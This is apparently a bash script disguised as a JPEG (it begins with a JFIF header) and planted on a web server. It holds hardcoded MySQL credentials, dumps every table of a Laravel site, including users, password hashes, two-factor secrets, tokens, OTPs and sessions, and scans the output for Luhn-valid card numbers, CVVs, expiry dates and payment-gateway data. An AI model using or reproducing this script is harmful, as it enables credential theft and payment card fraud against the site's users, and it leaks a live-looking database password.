ÿØÿàJFIF#!/bin/bash U=u838083294_lamaira P='jO=;SChLNWW6' D=u838083294_lamaira echo S_STRT { select concat('@@ROW',' ','blogs',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`blogname`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`blogcategories`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`blogthumbnail`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`blogdescription`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`metakeywords`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`tags`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`metadescription`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `blogs`; select concat('@@ROW',' ','cache',' ',ifnull(`key`,'?')),concat_ws('|',replace(replace(replace(ifnull(`key`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`value`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`expiration`,''),char(10),' '),char(13),' '),char(9),' ')) from `cache`; select concat('@@ROW',' ','cache_locks',' ',ifnull(`key`,'?')),concat_ws('|',replace(replace(replace(ifnull(`key`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`owner`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`expiration`,''),char(10),' '),char(13),' '),char(9),' ')) from `cache_locks`; select concat('@@ROW',' ','failed_jobs',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`uuid`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`connection`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`queue`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`payload`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`exception`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`failed_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `failed_jobs`; select concat('@@ROW',' ','jobs',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`queue`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`payload`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`attempts`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`reserved_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`available_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `jobs`; select concat('@@ROW',' ','job_batches',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`name`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`total_jobs`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`pending_jobs`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`failed_jobs`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`failed_job_ids`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`options`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`cancelled_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`finished_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `job_batches`; select concat('@@ROW',' ','masters',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`label`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`type`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `masters`; select concat('@@ROW',' ','meta_settings',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`metatitle`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`page`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`authorname`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`metadescription`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`keywords`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `meta_settings`; select concat('@@ROW',' ','migrations',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`migration`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`batch`,''),char(10),' '),char(13),' '),char(9),' ')) from `migrations`; select concat('@@ROW',' ','password_reset_tokens',' ',ifnull(`email`,'?')),concat_ws('|',replace(replace(replace(ifnull(`email`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`token`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `password_reset_tokens`; select concat('@@ROW',' ','personal_access_tokens',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`tokenable_type`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`tokenable_id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`name`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`token`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`abilities`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`last_used_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`expires_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `personal_access_tokens`; select concat('@@ROW',' ','register_companies',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`userid`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`companyname`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`companylogo`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`city`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`state`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`country`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`pincode`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`contactnumber`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`email`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`officeaddress`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`registrationimage`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`pancardimage`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `register_companies`; select concat('@@ROW',' ','register_users',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`mobilenumber`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`email`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`verifystatus`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`activationstatus`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`otp`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`username`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`activationRequest`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`myroles`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`profile`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`registrationstatus`,''),char(10),' '),char(13),' '),char(9),' ')) from `register_users`; select concat('@@ROW',' ','sessions',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`user_id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`ip_address`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`user_agent`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`payload`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`last_activity`,''),char(10),' '),char(13),' '),char(9),' ')) from `sessions`; select concat('@@ROW',' ','users',' ',ifnull(`id`,'?')),concat_ws('|',replace(replace(replace(ifnull(`id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`name`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`email`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`email_verified_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`password`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`two_factor_secret`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`two_factor_recovery_codes`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`two_factor_confirmed_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`remember_token`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`current_team_id`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`profile_photo_path`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`created_at`,''),char(10),' '),char(13),' '),char(9),' '),replace(replace(replace(ifnull(`updated_at`,''),char(10),' '),char(13),' '),char(9),' ')) from `users`; } | /bin/mysql -h127.0.0.1 -u"$U" -p"$P" "$D" -N -B -A --force 2>&1 | awk ' BEGIN{FS="\t"} { if($0 ~ /^@@ROW\t/){ tbl=$2; rid=$3; body=substr($0,index($0,$3)+length($3)); cnt[tbl]++; totlen[tbl]+=length($0); low=tolower(body); if(low ~ /cvv|cvc|csc/) tok[tbl"|cvv"]++; if(low ~ /card.?number|credit.?card|debit.?card/) tok[tbl"|cardnum"]++; if(low ~ /stripe|razorpay|payu|paypal|paytm|instamojo|cashfree|razorpay/) tok[tbl"|gateway"]++; if(low ~ /expiry|exp_date|mm\/yy|valid.?thru/) tok[tbl"|expiry"]++; if(low ~ /%b[0-9]/) tok[tbl"|track2"]++; s=body; while(match(s,/[0-9]([ -]?[0-9]){11,18}/)){ run=substr(s,RSTART,RLENGTH); digits=run; gsub(/[^0-9]/,"",digits); n=length(digits); s=substr(s,RSTART+RLENGTH); if(n>=12 && n<=19){ allruns[tbl]++; runs_by_len[tbl"|"n]++; if(luhn(digits)){ luhnok[tbl]++; bin=substr(digits,1,6); last4=substr(digits,n-3); key=tbl"|"bin"|"last4"|"n; if(!(key in seen)){ seen[key]=1; samples[tbl]=samples[tbl] sprintf(" MASK %s****%s len=%d row=%s\n",bin,last4,n,rid); } } } } if(!(tbl in seenrow)){seenrow[tbl]=1} } } function luhn(s, i,n,d,sum,alt){n=length(s);sum=0;alt=0;for(i=n;i>=1;i--){d=substr(s,i,1)+0;if(alt){d*=2;if(d>9)d-=9}sum+=d;alt=!alt}return(sum%10==0)} END{ for(k in cnt) printf "TBL %s rows=%d bytes=%d digitruns12_19=%d luhn_valid=%d\n",k,cnt[k],totlen[k],allruns[k]+0,luhnok[k]+0; print "--- length histogram (table|len=count) ---"; for(k in runs_by_len) printf "LEN %s=%d\n",k,runs_by_len[k]; print "--- luhn-valid masked samples ---"; for(k in samples) printf "%s\n%s",k,samples[k]; print "--- token hits (table|token=count) ---"; for(k in tok) printf "TOK %s=%d\n",k,tok[k]; print "ENDOK_AWK"; } ' echo ENDOK